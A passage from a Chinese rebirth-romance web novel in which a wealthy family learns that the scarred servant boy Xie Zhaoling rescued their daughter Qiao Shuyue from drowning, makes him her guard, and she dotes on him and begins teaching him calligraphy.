吴大夫也端详着此人,暗暗点头,“是个能干的,若是再晚些,还不知能不能救回来。” 李成身形一顿,头压得更低,“都是小人该做的。” 玉竹面色复杂,瞧了李成一眼。 李成这话是没错,确实是他将人背回来的,但到底不是他捞的人,就这么应下主子的夸奖,多少有抢功的嫌疑。 “怎么,你们有话要说?”陆氏敏锐地察觉到气氛诡异,又问,“难不成那日还发生了什么?” 李成不敢瞒着,如实道:“当时小人也被柳家的几个家丁按着,动弹不得,没能将姑娘救上来,再者小的水性不佳,若是当时没有那人出手,便是撤了柳家人的钳制,只怕也不能……” 陆氏一惊,“那人?谁?” 怎么还有旁人的事? 李成抬头,与玉竹对视一眼,两人纷纷摇头。 那日事发突然,他们心里着急,满心满眼都是主子,并未太关注旁人。加之那人身手矫健,他们没有看清。 “奴婢没有看到脸。”玉竹道,“只知道那人做小厮打扮,看背影是少年之姿,同四公子差不多高,偏瘦,但身形极快,嗖得一下就飞出去了。” “比你还快?”刘妈妈诧异地看向李成,她记得李成当年能进木兰院当差,一是因为长相清秀不吓人,二则是轻功这一项最为拔尖,哪怕他打不过旁人,背着主子逃命还是不在话下的。 李成臊得脸蛋微红,惭愧道:“比小人快。” 他们心心念念都在主子身上,救到人以后便马不停蹄地赶回府上,竟没人留下等恩人上岸。 他们连个长相都说不上来,如何能从茫茫人海中将人找出来啊。 褚氏显然也想到此处,叹息一声,“有恩不报我心难安。” 不好大张旗鼓地找,又不能不找,褚氏安排了人暗中探查,叫玉竹留在木兰院,另一名婢女跟着护卫出去找人。 时辰不早,到了该进宫的时候。 褚氏一想到今日要发生的事,便觉得满腔热血与斗志都被点燃,她沉着脸,快步离开。 主母离开,多余的人便有眼色地退去,不打扰姝月休息。 吴大夫看向仍在熟睡中的女孩,对着紫棉千叮咛万嘱咐:“切忌,若是醒了,莫要让她再乱跑了。” 显然也是知道乔姝月活泼好动爱惹事的性子。 又一日安然度过。 乔姝月脉象逐渐平稳。 褚氏与陆氏天擦黑了才回府,来木兰院看了一眼乔姝月,见她吃过药又睡了过去,便没惊扰,各自往住处去。 褚氏才刚回到院中,便见乔誉立在门前。 “誉儿?” 褚氏颇为诧异。 “母亲。”乔誉转身,恭敬揖手,“孩儿有要事禀报。” “……” 魏二跪在堂中。 褚氏蓦地坐直了身体,“你说什么?你知道是谁救的月儿?!” “正是。”魏二额头紧紧贴在地上,嗓音微微发颤,将事情来龙去脉一五一十讲来。 褚氏听罢后面露欣慰,看向乔誉:“是你前段时间救回来的那人?不错,你御下有方。” 乔誉扯了扯嘴角,没说话。 褚氏又道:“那人承你恩情,又返还到月儿身上,种善因得善果,誉儿,你让母亲很是欣喜。” 褚氏不由得想,若是乔誉不曾收留那小奴,她的女儿是否就此丧生于那场祸事?想到这种可能,她便冷汗浸满衣衫。 “哦对,去将你说的那个……额,谢兄?将他叫来。”褚氏犹豫道,“他就叫谢兄吗?” 魏二笑着挠头,“夫人说笑了,哪有人以兄为名,是我不知他全名,故而以此称呼。” “你瞧着有十八九了?那小谢想来已经弱冠。” 魏二摇头,“谢兄看着也就十四五。” 褚氏:“……比你还小,叫他谢兄?” “是呀,表示尊敬。” 毕竟还指望他罩着自己呢。 褚氏默了默,让他去叫人。 魏二行过礼,起身往外走,乔誉神色复杂跟了出来。 出门时,乔誉问:“你居然知道他的姓?” 魏二:“……” 怎么呢公子,你不知道吗?不会吧,不是你把人带进府的吗? 魏二眼瞅着乔誉的脸色,不敢吭声,讪笑着应付过去。 “你回吧,我亲自去叫。” “哦,好的。”魏二张了张嘴巴,“他姓谢。” 乔誉:“……快滚。” 乔誉慢慢往住处走,四下无人,俞升终于忍不住发问:“公子,真是那小子救的人?” 乔誉心事重重,“错不了,时间和细节都对得上。” 俞升脸色精彩纷呈,没想到当真应了月姑娘那句:与人为善,终会回馈己身。 他更没想到谢昭凌看着冷心冷清的样子,真能关键时刻舍命救人。 “您为何要带魏二来夫人这里?若是夫人几日找不到人,渐渐也就忘了。眼下夫人知道了那小子,只怕他要鼻孔朝天,欺压到您头上来。” 乔誉并非没这么想过,他知道若自己有心隐瞒,魏二便掀不起风浪。只是……瞒能瞒一辈子吗?若是姝月知晓,又该如何看他? 他脑海里浮现起魏二来找他时说过的话—— “您说的对,小人若是将功劳独揽,定能分得一大比钱财,解了小人家中的燃眉之急。” “可小人虽不是君子,却也知爱财该取之有道。那些心思不是没想过,但小人怕水啊,这谎言戳穿起来简直是易如反掌,还不如实话实话,起码这一趟我确实同去了,我是个见证,多少能捞点好处。咱只拿咱该拿的那部分,绝不贪图旁人的那份。” “我左等右等,都没等到好消息,这才亲自来了。” “他闷葫芦性子不爱张扬,那怎么能行?他脸皮薄不会邀功,那我替他说,他不想承我的情都不行,我瞧他也不像是狼心狗肺的模样,谅他不会赖账。” “……” 沉默半晌。 乔誉道:“他是仆,我是主,如何能欺压。” 最多……最多就是妹妹更喜欢那谢的小子。 说话间,回到院里。乔誉站偏过头,朝西耳房看去。 少年正坐在门口的台阶上,望着屋檐发呆。 回想这几日,好像似乎,这小子确实没做过什么太过分的事。 乔誉深深吸了口气,一步一步朝谢昭凌走了过去。 开口第一句话,问的是:“你到底叫什么名字。” 谢昭凌冷眼看他,一如既往地没吭声。 乔誉默默运气,决定放弃较真,他道:“母亲找你。” “……” 二人走出院落,便见褚氏一行人着急忙慌地走过,匆忙到打他们面前而过都没说上一句。 乔誉眉头紧拧,撂下一句:“跟上。”拔腿便往木兰院跑。 他腿脚灵活,几步便没了影,谢昭凌在原地迟疑半晌,终是慢慢跟了上去。 等到谢昭凌花了些时间,一瘸一拐走进木兰院,忽然被院中一声怒吼震得停在原地。 “他?!”吴大夫火冒三丈,声浪几乎将房盖掀飞,“他那双腿,还敢去救人!怎么没先淹死在那河里呢?!” 谢昭凌抿抿唇,看向自己伤上加伤的腿,有些心虚,一步一挪。 离得近了,一道虚弱的声音传入耳中: “是他救了我吗?那他此刻在何处?” 小姑娘大病初醒,人还迷糊着,声音软软糯糯,没有力气,语气里是掩饰不住的期待与焦急。 只听一妇人的声音紧接着道:“誉儿,让你去叫,人呢?难不成让我亲自去请吗?” 乔誉就站在门口,转头朝院里看了一眼,见少年扭扭捏捏,不知在磨蹭什么,无言一瞬,抬手指向院中,“在那。” 挤在门口的几人齐刷刷回头,看得谢昭凌浑身不自在。他在众目睽睽之下,拖着一双伤腿,慢慢走向屋中。 乔姝月抱紧被子,不由自主地前倾身子,探头出去。 人呢?给她瞧瞧,好几日不见了。 抻着脖子,才探到一半,便被一张大掌抵着脑门给推了回去,一转头,便对上二哥哀怨的目光。 二哥弯下腰,压低声音,同她讲悄悄话:“瞧你这幅倒贴的样子,没出息!” 乔姝月咳嗽了声,“他救了我的命,倒贴又如何?!” “你!那人家施芊也救过你的命!” “所以我也倒贴银子给表叔,让表叔也教她功课了呀,咱们的学费是阿娘来付,芊芊的那份可是我出的。”小姑娘摇头晃脑,一本正经,“我这人向来知恩图报,对恩人一视同仁,一碗水端得平平的,等到时候他入学堂,我也要帮他。” 哎,小荷包又要空空了。 乔良脑子不好,说不过她,揣着一肚子闷气,憋憋屈屈站了回去。 为防止吹到风,少年进了门后,刘妈妈便将门合上。 有人引着谢昭凌进了内室。 他自进屋起,视线便自然垂下,不去乱看。 少年在屏风旁站定,所有人的目光都落在他身上。 或好奇,或鄙夷,都在打量他。 毕竟他看起来实在很糟糕。 穿的是下等家仆的衣裳,鞋子上沾着泥土和杂草,一看就是才从菜园做工回来。 骨瘦嶙峋,脸上带伤,手上密密麻麻全是茧子,一看便是自小做惯粗活累活。 头发不曾好好打理,随意地扎起马尾,虽还算利落整洁,但与“体面”二字毫不相干,看上去与街头巷尾做长工的没什么两样,实在与他们乔府的清流气质不符。 背脊倒是挺得笔直,让人望之便感受到他骨子里的那股傲气。 以褚氏的眼光来看,这样的人不配进乔府,更不配到木兰院来。 少年那双眼睛太冷漠、太锋利了,带着刺,看上一眼就会被划伤。 再看他防备的站姿,结合旁人夸他厉害的说辞,褚氏推测这是自小在三教九流里摸爬滚打闯出来的小子。 这样复杂的人物,要是放在往常,褚氏压根不会让人进门。 可偏偏,她这般看不上眼的人救了她唯一的宝贝女儿。 长久的沉默。 刘妈妈突然道:“夫人,咱们这院里没有一个会水的。” 紫棉随之开口:“姑娘已经吃过两次亏。” 玉竹眨了眨眼睛,不知她们说这些做什么,但本能觉得此时应该附和两声,“是啊夫人,李护卫不行。” 李护卫:“……” 见着自己的心腹都这么上道,乔姝月捂着嘴偷笑。 事急从权,这次变故发生以后,褚氏觉得自己的看法也该发生些转变。 她叹了口气,不由得反思,或许就是她对月儿保护得太过,才致使她面临威胁时,连一点防备心和自保能力都没有。 也许月儿恰恰需要这样锋芒毕露、浑身是刺的人守在身边,帮她警惕着危险。 只是月儿自幼便胆小,见个粗犷的护卫都吓得要哭,这少年…… 褚氏担心会遭到女儿的排斥,于是她犹豫不决地,悄悄将目光挪向乔姝月。 只见女儿捧着小脸,对着少年笑得正甜。也不管人家怎么看她,她都眼珠不错地盯着人瞧。 褚氏:“……” 她惊疑不定,“你不怕他吗?” 这一看就是个桀骜难驯,打断骨头也一声不吭的狠角色,她竟不怕?! 一身的伤,眼神那么凶,她竟不怕?! 乔姝月愣了一下,把被子往上拉了拉,盖住半张脸,小声嘟囔:“他,好看啊。” “……” “噗!” 屋中人都压着声笑开,少年将头压得更低,耳根悄悄泛红。 褚氏一言难尽地看一眼女儿,又看一眼少年。 用挑剔的眼光又端详半晌,终是勉为其难地开口: “打今儿起,你便在月儿身边当差吧。” 谢昭凌诧异抬眸,看向端庄温婉的妇人。他张了张嘴,“……我留在这吗?” 他可以留在这吗? 小姑娘的院子很干净,很温馨,他在这里显得格格不入。 “怎么,还委屈你了?” 乔良不客气地呛了一句。 褚氏毒辣的目光上下打量,微不可查带了点嫌弃,穿的都是什么衣裳,和月儿站在一起一点都不相配,还有这头发,这一身伤,不知道的人还以为乔家虐待家仆。 “刘妈妈,将他好好收拾一番,弄好了来见我。” 褚氏又对女儿温声细语关切了一阵,妙荷来通报说乔父回府了,褚氏有事要同乔父商议,便只得先离开。 离开前,又忍不住对谢昭凌来一句:“好好收拾收拾你自己,出门在外你便是月儿的脸面。” 言下之意,他现在的模样会给乔姝月丢人。 谢昭凌:“……” 若是旁人对他说这话,他只会冷眼回视,心底不会有任何波澜。 可褚氏这么说,说他丢了小菩萨的脸,他心里诡异地生出两分羞愧来。 “是。” 他垂着眼睛低声道。 褚氏离开,刘妈妈带着谢昭凌也向外走。 越过屏风时,谢昭凌顿住脚步,回头。 小姑娘脸色苍白,一副病弱模样,却始终笑意盈盈地,目光追随在他身上。 “没有的事,你现在也很好!” 小姑娘眼底满是喜欢。 她笑得很甜,比养母骗他喝过的药还甜。 她兴奋地冲他摆手,“待会见。” 而这一瞬间,谢昭凌的内心终于不再是一片荒芜。 第24章 【24】 在木兰院伺候的众人中,与谢昭凌打交道最多的便是李成。 他没少遵主子的命令去偷窥,啊不,去探查。 “你叫什么名儿啊?” 乔誉看望完妹妹,和二哥乔良并肩走进院中,便听李成好奇地问道。 “谢昭凌。” 哦,原来他叫这个。 乔誉阴沉着脸,快步从两人身旁走过。 李成冲着乔誉的背影行礼,肩膀上忽然挨了一下。 李成愣愣转头,只见乔良手按着他的肩,眼睛却瞄着那少年,“照顾着点,人家现在是母亲跟前的红人了。” 说罢拍拍李成肩膀,带着一股酸气离开。 谢昭凌始终垂着眼睛,目光落在自己的腿上,不知在想什么。 李成一头雾水,茫然地伸出手,要去搀他。结果没等碰到人,少年便后退一步,避开碰触。 少年那双黑漆漆的眸子里泛着冷意,姿态疏离,直言道:“我不喜欢与人接触。” 他一向不喜和人交往,正常的交流都难得有一次,可为着小菩萨的脸面,他不得不去适应那些他最不擅长的事情。 繁冗复杂的规矩如一套无形的枷锁,紧密而结实地绑缚着他,挣脱不得。 说不出是什么心情,只知自己心底没有多少抵触。 或许是因他还欠着小菩萨五十两银子的缘故,欠人钱财,无法理直气壮起来。 对于谢昭凌的排斥,李成只是挠挠头,哦了声,倒没放在心上。 “我叫李成,长你几岁,唤我李哥就行,院里只咱俩是男子,今后我就有伴了!” 李成常年不得已混在姑娘堆里,可把他寂寞坏了。只是眼前这个新来的看似沉默寡言,有点不太好聊。 他算是最早接触谢昭凌的人,虽然是在暗中观察,但也有些了解。 他早早就把这个心思深重、满身是刺的少年划入“怪人”的范畴,因而对方作出什么都不稀奇。 李成眼睛里闪着光,“对了小谢兄弟,你的腿上功夫师承何处?” 当时虽然只短短一瞬,但也足够叫李成清楚地明白,他技不如人。 他年少时便入了木兰院当差,鲜有机会外出求学,因而拳脚功夫方面只得靠自己钻研苦练,可惜他悟性低,数年来都没什么长进。 眼前的少年看着不大,却比他还要厉害,李成想要和人请教一二。 刘妈妈正巧领着人走了过来,听到他缠着人问话,剜了他一眼,“老实当你的差去,没看着人家还伤着呢?” 刘妈妈一发话,周围的婢女们也纷纷应和:“就是就是,平日里拖姑娘后腿便罢了,还不赶快去弥补,净在这闲聊。” 李成缩了缩脖子,他平日就惹不起这些丫鬟们,此时他心虚,更不敢回嘴。 若无谢昭凌出手相救,姑娘但凡出点什么岔子,别说差事,他的小命都不保。 刘妈妈训完人,便把谢昭凌薅走了。李成对着少年的背影道:“小谢兄弟,这次多亏有你,多谢了!” “……” 乔姝月一觉睡到转天快正午。 意识回笼,人清醒后第一件事便是: “谢昭凌呢?!” 她的陛下! 正在外间叠衣服的玉竹听到动静,和紫棉对视,纷纷流露出无奈的神情。 二人一前一后进了内室。 只见小姑娘披散着头发,只一个脑袋从幔帐中探出,睡意还未完全消散的双眼陡然睁大,透着晨起时的茫然与懵懂。 “他人呢?他在吗?” 昨天不是她的梦吧! 紫棉似乎听到了姝月的心声,给她吃颗定心丸:“不是梦,他到木兰院当差了。” 乔姝月揪着幔帐的手激动得抖了抖,兴奋道:“那人呢?快带他来见我!” 紫棉道:“来不了。” 乔姝月茫然眨眼,“为何?” “受罚呢。” 乔姝月:“……?” “受……罚?”她不确定道,“不是救了我吗?” 谁敢在这个节骨眼上给他罚吃? 玉竹这时走近,一言难尽道:“他险些折断妙荷的手,人家状都告到夫人面前了。” 乔姝月吓得手里捏着的幔帐边都松开,磕磕巴巴:“怎、怎会呢?!不可能!” 乔姝月下意识觉得谢昭凌不是那样的人,替他反驳的本能是前世时就练出来的。 那时总有老臣污蔑陛下手段强硬,说他独断专行,还以前朝暴君之名恐吓陛下,让他莫要重蹈覆辙。 乔姝月最是知道那群老臣的德行,陛下同她诉苦时,她坚定不移地相信陛下被人冤枉,是老臣无中生有、夸大其词。 陛下那么温柔,怎会无缘无故折人手? 可这话是她的婢女说的,不是那些迂腐古板的老头子。 刘妈妈推门进屋,听到她们在讨论此事,带着一股风快步走了进来。 刘妈妈冷哼了声,“还说呢,咱院里进了个好护卫。” 跟一疯狗似得,碰一下就乱咬人。 敌我不分,还真是一条看门护院的好狗。 妙荷是褚氏的心腹婢女,又是刘妈妈的亲生女儿,刘妈妈自然对谢昭凌没个好脸。 “夫人瞧不上他那身衣裳,特意让妙荷为他量体,亲自去置办几套像样的衣裳和鞋,账也从夫人那边出,结果呢,才碰着他手臂,就被他反手钳住,那力道大得只差捏碎手骨了!” 乔姝月怔愣半晌,慢慢坐直身子。 她低声对刘妈妈道了声“抱歉”,而后沉默下来。 久久不吭声,屋中三人逐渐有些慌。 “姑娘这么说可折煞老奴了,再说都是那小奴的错,与姑娘何干?”刘妈妈哎哟了声,赶忙坐到床沿,将人搂在怀里,“嗐,没事没事,也没真如何,姑娘莫要自责,坏了身子。” 乔姝月不全是因为愧疚,更多的是茫然。 她忽然想起自己初遇谢昭凌时,他反手拍开了她的手。 想起这段时日俞升不知抱怨多少回,说谢昭凌出手无情,心眼也小,不小心碰他一下都要回击。 他这似乎不是主动袭击人,而是本能的反应……不知他曾经历过什么,致使他这般敏锐警惕。 “妙荷如何?” 刘妈妈轻描淡写:“只手腕青一圈,不妨事,寻常做事也总有个磕磕碰碰的。” 乔姝月知道刘妈妈怕她内疚才这样说。 妙荷是阿娘院里的一等侍婢,地位很高,平日里并没有会磕碰的差事给她做。 “阿娘什么反应?很生气吗?” 刘妈妈回忆道:“夫人正忙着,没功夫管,本想罚他去洒扫,可顾忌他那身子骨,便将他禁足,罚他抄书。” 刘妈妈说到这儿没忍住乐了,“吴大夫正巧也在那,按着他给他看腿,看完伤处之后怒不可遏,指着那小奴的鼻子骂他,说这下好了,禁足在屋,终于能好好养伤,还让夫人加大了罚抄的量,让他写都写不完,好歇了心思再到处乱跑。” “吴大夫骂起人来姑娘你是知道的,一旦开了头,没一个时辰停不了,那小子被训得一声不敢坑,妙荷心里有气也散了。” 说到少年那一身伤,刘妈妈欲言又止,终是认命地叹了口气。 “罢了,他舍命相救咱们姑娘,便是把这房子顶挑破,咱们也得待人宽容些。” 虽说少年是怎么从那龙潭虎穴里出来的,她们几个都一清二楚,此举算是还了乔姝月的赎身之恩。 但乔姝月的命对乔家人来说太重要,谢昭凌冒死相救,乔家人不会不感恩。 刘妈妈忽又想起一事,叮嘱道:“姑娘,关于他的来历,还得死死瞒住为好,毕竟悦泉楼那地方……” 乔姝月点头,“我不说,哥哥们应当也不会提,这事就忘了吧。” 哪怕现在谢昭凌“有功在身”,也不是免死金牌,毕竟乔父眼里揉不得沙子,性子刚直,若叫他知道,还不知要发生什么。 所幸知情人不多,各个都是可信赖的。 乔姝月又一次落水,在生死关头再走一遭,本就没将养好的身子愈发虚弱。 这回不必让人盯,她自己就知道乖乖听话,就在屋中养病哪儿都不去。 玉竹久违地见到自家姑娘捧着碗,安安稳稳地小口喝药,打趣道:“姑娘这下终于肯安心养病了。” 刘妈妈冷笑着拆穿:“若西厢那位还没进咱们院子,你看她还老实吗。” 乔姝月被人说中心事,脸颊微红,她将脑袋埋进药碗中。 玉竹恍然,“姑娘竟这般在意他吗?” 自打端午那场病后遇到了谢昭凌,那之后每一日她都心事重重的,倒是这场意外发生后,她反而精神焕发了不少。 也算因祸得福,只要人进了她的院子,她便能踏实下来。 玉竹回忆思索着,感慨了声,“不过也是,长得是不赖,还真和姑娘画的画像有几分相似。” 强撑了数日的精神终于松懈下来,乔姝月感觉到前所未有的疲惫。她迷迷糊糊,靠上床头,与婢女闲聊: “你也肯承认他长得好了?” 玉竹眼睛睁大了些,不住点头,“岂止是我,现在咱们院里所有见过他的婢女,都如此认为。” 乔姝月眨巴下眼睛,反应慢了半晌,“……啊?” 怎么她就睡了一觉的功夫,他就这么受欢迎了吗? “早上要给他量体,他不给碰。他那身衣裳太破太寒酸,又不能不穿。” “没办法只能找了两个与他身形相似的老爷身边的近侍来,找他们要了几身还没穿过的衣裳给他。” “又经嬷嬷们一通修理,这才将他完整的本来面目全显露出来。” 从前谢昭凌那头乱发不好好打理,总像个江湖剑客似得,他又常低着头,不与人对视或交流,没几个人记住他的真实长相。 这回好好捯饬了一番后,叫所有人都大吃一惊,眼前一亮。 尤其是昨日守在门口,站在乔誉身边的那几名婢女,她们眼睁睁看着少年从门口走进来的,与他打过照面,当时还没觉得有什么稀奇,今日谢昭凌从主院出来,被管家亲自押送回屋子时,那几名婢女看到正脸,全都激动坏了。 乔姝月听了转述,心里说不出是什么滋味,她道:“她们都怎么说他的?” 玉竹张嘴要回,却见紫棉不声不响地走到窗边,而后轻轻给窗子启了个缝。 房中一时安静,游廊下的声音顿时传了进来,是压抑的兴奋声。 “啊啊,他怎的这么好看?我从未见过这般俊俏的少年,今日可算大饱眼福。相较来看,李护卫都老了,还寡淡,平平无奇,再没什么看头。” “剑眉星眸,玉树临风,冷寂苍郁,身形萧萧。” “酸,真酸,少看些话本吧。” “哎对,就像从话本里走出来的小郎君!还是江湖浪客,翩翩少年侠客!” “不如我们去西厢看看?” “我看成,西厢的耳房是库房,正好也该打扫打扫了。” “……” 两个婢女从窗下走过,紫棉又悄无声息将窗子合上,而后她回头,望向床榻。 小姑娘气得鼓着腮,呼哧呼哧的,眼神含着点委屈,好像宝物被人发现被人抢走了一般。 她都还没见过他的样子,就先叫人瞧了去。一眼没看够,竟然还要再去?!她都没见过呢! 紫棉抿唇偷笑,摇摇头走了。 玉竹不敢触霉头,低下头装作很忙。 安静半晌。 乔姝月咬着牙:“传话下去,叫谢昭凌过来!” 她养病不能外出,还不能叫他来吗? 刘妈妈燃了一炉安神香,扇着小扇子,笑着回道:“他来不了,夫人让他禁足。” 乔姝月眼睛一瞪,闹道:“禁足怎么了?!禁足也没提是禁在卧房,他不出院子不就成了?腿动不了就让人抬过来,总之我要见他!” 越想越气,她前世都没受过这委屈,哪有人敢当着她的面觊觎她的陛下? 都是谢昭凌的错,谁叫他那么招人。该罚,狠狠罚! 乔姝月心烦得很,蹬了蹬被子,“快去,不是罚他抄书?带着东西上这儿来抄!顺便把吴大夫也请来。” 玉竹噗嗤笑开,领命去了。 片刻功夫,人带来了。只是人停在门口,无论如何都不肯进门。 玉竹无奈,只得请示主子。 乔姝月这下彻底恼了,她抬手将枕头扔到地上,扯着嗓子扬声喊道:“谢昭凌!” 前世他总将她惹恼,她最初忍耐着不搭理,他便愈发过火,终有一日她没忍住喊了他的名字,宫女颤颤巍巍跪了一地,他却瞧着开心极了,也老实了。 前世养成了喊他名字的习惯,因而现在心里对他有什么不满,也自然而然直呼其名。 约莫太久没人这样喊过他,少年微微晃神,一时间没反应过来是在叫自己。 他不动,屋中的女孩便愈发恼火。 怎么,他肯给旁人看,却不愿来见她,这是什么道理?他还知道是谁将他买回来的吗?! 乔姝月气得要掀了被子下床,玉竹大惊失色,按着她,慌张喊道:“姑娘不可啊!小心受凉!” “谢昭凌,你若不进门,那我便出去!这院里还没人能拦得下我!” 重活一世,乔姝月自诩沉稳不少,她几乎不会这般蛮不讲理任性而为,实在是醋得狠了,又思念得紧,如今也算一起经历过生死,他怎么还不肯亲近她? 有些事不得深思,愈思量愈惆怅,直叫人内火中烧,半分理智都不剩。 谢昭凌眉头微蹙,他听着小姑娘沙哑的嗓音,以及婢女的惶恐,心知这小菩萨骨子里很是倔强,他若不踏进这门,她便当真能出来。 眼下再顾不得男女有别,身份不合,他低声回:“就来。” 抬起手扶住门框,而后抬起那只伤脚,第二次踏进了这道门槛。 玉竹见他一瘸一拐的,想扶也不敢扶,生怕自己的胳膊也被人折了。 一个没留神,被子里的人就溜下了床。 玉竹:!! 抬手一抓,捞空。 昨日还奄奄一息的小姑娘,此刻见着人,就跟吃了灵丹妙药似得,两步便蹿了出去。 谢昭凌只感觉眼前一个圆滚滚的朝自己撞了过来。 他瞳孔微缩,下意识张开手臂去接。 小菩萨在他面前急急停住,小脸红扑扑地,满眼哀怨望了过来。 “还得三催四请才行,不知道先来向主子谢恩吗?” 谢昭凌张了张嘴,见她说了一句便背过身子,又闭上了。 只听她道:“玉竹,找人给他做一副拐杖。” 谢昭凌拒绝:“我不——” “怎么,”小姑娘回过头,目光幽幽,“害怕影响你英明神武的形象?” 谢昭凌听不懂,茫然地垂眸看她。 玉竹:“好好好,我这就去,姑娘你快回榻上好不好?” 乔姝月不答,看向少年,“你先坐那,我才回去。” 玉竹目光哀求也望向少年:“快请坐吧,谢护卫。” 也不知谁是主子。 谢昭凌:“……” 他顺着望去,这才看到屏风旁边摆着一把椅子。昨日好像是没有的,是她新加的。 进了女子闺房,他手足无措,低着头,耳根微红,几步便走过去坐下,微垂着眼眸,不敢乱看。 每一次呼吸都能嗅到寝房中好闻的味道,他不知燃的是什么香料,闻着叫人半边身子僵硬,喉咙发干,脑子也转动得更加艰难。 乔姝月这才满意地点点头,后知后觉,头开始痛,她头重脚轻地爬到榻上,将自己裹回被中。 孤男寡女共处一室终归不妥,刘妈妈和紫棉像两大门神,一左一右守在旁边。 没一会功夫,有婢女将笔墨与那本弟子规取了来。 一同抵达的,还有吴大夫。 谢昭凌看到吴大夫那张脸,头皮瞬间发麻。当着他“主人”的面,老头又指着他鼻子骂了半个时辰。 给他开了不少汤药还有药膏,乔姝月每一样都问得仔细,比他自己都上心。何时用,如何用,平日需要注意什么,修养多久能痊愈。 “这是旧伤,不仅不好好调理,还整日作妖,”吴大夫幽幽看了少年一眼,故意往严重了说,“长此以往,就只能当个跛子喽。” 乔姝月两只眼睛登时睁得老大,“那可不行,不行!他还得——” 她想说还得习武,还得杀敌,还得上战场,还得做皇帝。 忽然情绪低落下来。 谢昭凌是天生的将才,他即便幼时落魄,后来靠着自己的努力,也一点一点爬到了万人之上的位置。 他天生注定受人瞩目,该被万人敬仰。 她将他带回来,已经走上同上一世完全不同的路,但她爱的是那个强大温柔、无所不能的谢昭凌,她怎么舍得将他一辈子困在自己身边,不去施展他的才华与抱负呢? 可他若要去做那些事,就注定会在未来的某一刻必须离开她。 谢昭凌看着她认真在意又失落难过的模样,忽然很后悔。 或许他该在柳家小少爷第一次欺负她后,便找个机会偷溜出去,将人宰了。此时此刻,她想必身上都难受极了。 谢昭凌微阖眼睛,长长的睫羽半垂,掩下浓烈的杀意。 搭在膝上的手指蜷起,握成拳头,手背青筋凸起,心中某个念头愈发强烈。 送走了骂得浑身舒畅的吴大夫,屋中一时寂静无声。 玉竹从外头回来,门口守着几名小厮。 “姑娘,您吩咐的事办妥了,四公子已派人将东西都送了回来。” 先前担心谢昭凌过不好,往四哥院子里送过不少东西,后来知道了东西被四哥扣下,乔姝月便一直都想夺回来。 眼下东西和人都进了她的院子,从此往后,都只有她说了才算。 乔姝月提不起精神,恹恹地道:“都放回库房里吧,对了,那盒化瘀膏在吗?” 玉竹跑出去检查,站在门口扬声回道:“在!” “刘妈妈,那药膏你分出来一半,给妙荷送去,算我跟她赔不是。” 刘妈妈一惊,忙推脱,“她哪能用那么好的东——” 乔姝月却没了多说的心思,裹着被子,闭上眼睛,“去吧。” 等她昏昏沉沉,睡醒一觉,天色已经彻底暗了。 幔帐落着,隐约有光亮透过缝隙照进来。 乔姝月躺着缓了缓,仍觉得头晕,额头滚烫。 这次落水令她元气大伤,也不知要养上多久才能恢复。 眼下谢昭凌被她带到了身边,接下来该轮到解决二哥的麻烦。 可惜她撑着这具病弱的身子,实在有心无力。不能出门,就得想点别的法子让二哥躲过祸事。 乔姝月轻叹了声,不远处忽然传来一声响动。 嗯?这屋里还有别人吗? 她茫然抬手,将窗幔撩起一边,侧过头看去。 在她的床榻对面,窄小的方几旁,少年还坐在她睡前便在的位置,一手执笔,对着手边的烛灯,安静抄书。 注意到她的动作,少年抬眸望来,那一眼情绪极淡,好似漠不关心,手上却失了准度,在不该落笔之处晕染开一片墨迹。 “……醒了?” 乔姝月懵懵坐起身,顶着一头乱发,一眼不错地直勾勾盯他,半晌,才舍得眨了下眼,“我以为你回去了。” 她自己都没意识到,语气中带了点委屈。 谢昭凌疑惑:“不是你让我在此抄书?” 她不发话,这院里也没人会赶他。 乔姝月脑子还没转过弯来,茫然道:“可是你想走不就会走吗?” 就像那会把他托付给吴大夫,他不想留,半夜翻窗也要逃走。 后来回来,也是他顾及着那五十两银子,内心愧疚才又回来的。 他本身不喜束缚,不喜欢规矩多的地方,她都知道。一直以来,都是她靠着“恩情”,强迫他驻足于此。 他懒得应付,她不是没看出来。 在四哥院里时,他独来独往,从不看人脸色。 来到她这儿,他也不愿意靠她太近,连让他进门都要靠威胁。 所以她以为,在她睡过去后,在无人能压制他、强迫他时,他就会离去,回到自己的屋子,独自进行他要做的事。 可是他竟然留下了,一直到她醒来。 谢昭凌蓦得起身,“你……” 他看着小姑娘瞬间泪汪汪的眼,有些无措,怎么又把她弄哭了。 “我走。”他低声道,“你别哭。” 谢昭凌以为她是不满意醒后看到他才生气。 他抓起书,正欲逃,忽听小姑娘拔高音调叫了声:“站住!不许走!” 俩人动静闹得大,刘妈妈急匆匆从外头赶过来。 见他们二人一坐一站,面面相觑,两张一模一样茫然呆滞的脸,顿时笑了起来。 “你们可真是热闹。” 刘妈妈端了碗药来,谢昭凌就这么看着乔姝月喝。 他以为她会因为嫌苦而哭闹,结果没有。 她眉头都没皱一下,十分豪迈痛快地一口气饮完。 刘妈妈看出少年的诧异,得意又自豪:“咱们姑娘最是懂事坚强,比那些娇滴滴的小姐们强上不知多少。” 刘妈妈端着空碗离开。 谢昭凌想的却是,她该喝过多少药,才会这般习以为常。 他想起自己幼时被骗下喝过许多药,也不如她这般神色轻松。 “那药……没问题吗?”他犹豫开口,“有没有检查过?” 乔姝月愣了下,很快弯起眼睛,“吴大夫开的药方,刘妈妈亲自煎药,绝不会出问题。” 原来陛下从小的性子就这般谨慎啊。 前世她重病那段时日,陛下总是格外紧张,担心有人会往她的药里动手脚,每一次都按着太医院的那些太医,非得他们每个人都来上一口,半个时辰后人没死,再给她服下。 一时间两人又无话。 谢昭凌默默看她一会,拿着笔坐了回去。 他提笔写字,一笔未落,忽然又听到小姑娘哈哈大笑的声音。 她才刚溺过水,嗓子哑着,本来说话就不畅快,她还笑得无比大声,喉咙与胸腔都带着异响。 笑着笑着喘不上气,又止不住地咳嗽,一边咳嗽,一边笑他。 谢昭凌:“……” “你为何这么拿笔啊?” 乔姝月笑得浑身抖抖抖。 她学着他的执笔姿势,手握成拳伸出去,“哪能攥着笔写。” 谢昭凌沉默了会,“我没学过。” 他没有念过书,不会写字,抄书都是照着笔划画出来的。 说是罚他抄书,可是他根本不知道自己写的都是什么。 乔姝月笑声不停,裹着被子,冲他招手,“你来,拿着笔过来。” 谢昭凌不动。 “来啊,难道让我下床不成?” 谢昭凌无奈起身。 走到她面前,低头看着她。 “把笔给我。” 谢昭凌将毛笔递了过去。 乔姝月披着被子,跪直身体,与他差不多高,接过笔,示范给他看。 “最常见的握法呢,便是悬腕执笔,这三根手指轻轻捏住笔杆,这根在下面抵住,指按实,内掌虚,外掌竖,手腕平。” 